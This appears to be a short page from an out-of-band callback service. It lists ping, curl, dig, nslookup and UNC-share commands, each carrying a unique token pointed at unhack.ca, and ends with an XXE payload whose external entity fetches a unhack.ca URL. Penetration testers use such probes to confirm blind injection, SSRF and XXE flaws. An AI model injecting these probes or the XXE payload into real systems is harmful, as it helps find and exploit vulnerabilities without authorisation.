$ ping -c1 -p 00af8125abb8dba2f2ec9bc8be068a00 unhack.ca
 

$ curl http://unhack.ca/p/af8125abb8dba2f2ec9bc8be068a
 

$ dig af8125abb8dba2f2ec9bc8be068a @unhack.ca
 

$ dig af8125abb8dba2f2ec9bc8be068a.ns.unhack.ca
 

C:\> nslookup af8125abb8dba2f2ec9bc8be068a unhack.ca
 

C:\> type \\unhack.ca\af8125abb8dba2f2ec9bc8be068a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/af8125abb8dba2f2ec9bc8be068a">]>
    <foo>&xxe;</foo>